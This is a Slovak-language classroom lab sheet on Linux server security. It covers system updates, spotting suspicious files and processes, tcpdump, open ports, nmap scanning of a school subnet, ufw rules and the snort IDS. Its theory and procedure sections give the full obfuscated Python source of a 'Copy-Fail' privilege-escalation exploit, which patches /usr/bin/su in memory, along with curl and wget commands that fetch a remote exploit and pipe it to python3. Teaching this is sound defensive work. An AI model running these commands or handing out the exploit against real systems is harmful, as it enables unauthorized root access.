Bezpečnosť, (hackni si svoj server).

Úloha

  1. Ako jedna z prvých úloh týkajúca sa bezpečnosti je mať aktuálny systém. s aktualizáciou nám pomáha balíčkový systém. Aktualizáciu systému sme už robili a teraz ju len pripomínam. Nebudeme ju vykonávať nakoľko preinštaľuje grub (zavádzač systému). Čo by vyžadovalo jeho opravu aby sa obnovilo "špeciálne" meny ktoré umožňuje štart OS iných žiakov.
  2. Ďalšou úlohou je rozpoznať že sa v systéme odohráva nejaká podozrivá aktivita. Doteraz sme používali prikaz ls ktorý nám dáva možnosť prezrieť čo kde na disku je uložené. Dá sa tento príkaz teda použiť na zistenie že na disku pribudli nejaké programy ktoré tam nemajú čo robiť.
  3. Okrem ls existuje viacero príkazov ktoré začínajú pskratkou ls (list) a vypisujú rôzne zaujímavé veci. Zistite aké príkazy tam máte a zistite ktorý sa dá použiť na zistenie aké súbory sú aktuálne v systéme otvorené
  4. ls Tak isto sa dá usúdiť na napadnutie servera ak uvidíme spustené nejaké podozrivé procesy. < Jedna z ciest ako sa útočníci dostávajú do systému je sieť. Preto je dobré vedieť monitorovať aj čo sa deje v sieťovom podsystéme a v sieti všeobecne. Nainštalujte balík tcpdump a zistite aké sieťové spojenia práve sú aktívne.
  5. Zistite na akých portoch váš systém počúva. To sú miesta kadiaľ útočníci môžu vstupovať cez sieť do systému. Mali by ste mať prehľad ktoré servery na akých portoch počúvajú
  6. Zaujímavé je urobiť aj tzv scan siete. Naištalujte si balík nmap a skúste zistiť o školskej sieti nejaké zaujímavé informácie. Neskenujte celú sieť ale iba podsieť 10.3.70.0/24
  7. Pre zabránenie útokov sa často používa firewall Nainštalujte firewall ufw. Nastavte pravidlo ktoré znemožní ping z IP adresy 10.3.70.17
  8. Proti útočníkom napríklad DOS útokom je potrebné aj aktívne zasiahnuť. K tomu sa používajú systémy označované ako IDS/IPS Intrusion Detection System alebo Intrusion Prevention System. Nainštalujte balík snort Otestujte ako zareaguje na scan servera programom nmap
  9. Vyskúšajte či na systéme funguje Copy-Fail zranitelnosť (zverejnená v máji 2026)

Teória

Ani som to tak neplánoval ale našli sa dve pomerne závažné zranitelnosti. Obe umožňujú lokálnemu užívateľovi systému eskaláciu práv na správcu systému. Chyba postihuje všetky linuxové distribúcie inštalované od roku 2017. Exploit vyzerá takto
curl https://copy.fail/exp | python3 && su
Prípadne ak nemáte naunštalovaný curl alebo chcete vidieť ako ten exploit vyzerá, tak
#!/usr/bin/env python3 import os as g,zlib,socket as s def d(x):return bytes.fromhex(x) def c(f,t,c): a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))")) h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept() o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768) r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) try:u.recv(8+t) except:0 f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3")) while i<len(e):c(f,i,e[i:i+4]);i+=4 g.system("su")
Funguje to tak že si načítate do pamäte program su. Následne ho mierne v pamäti upravíte. Za normálnych okolností sa tento program pýta na heslo správcu. Stačí však na správne miesto dať správnu inštrukciu a tak sa toto overenie preskočí a rovno sa spustí shell. A kedže su má nastavený príznak SUID a jeho vlastníkom je root, tak ten shell získa práva roota.

Za normálnych okolností je program chránený pred prepísaním operačným systémom, ale chyba Copy-Fail unožnúje prepísať v pamäti 4 byte. To stačí k tomu saby ste na spravne miesto dostali správnu inštrukciu.

Postup

  1. Zistíme aké príkazy začínajú písmenami ls
    lsTABTAB
    Kolko je takýchto príkazov?
  2. Skúste si hacknúť systém. Prihláste sa ako obyčajný user a spustite exploit. Tak čo ste správci z žiadne heslo to nechcelo? Ak nemáte curl tak sa to dá urobiť takto
    wget https://copy.fail/exp cat exp | python3 && su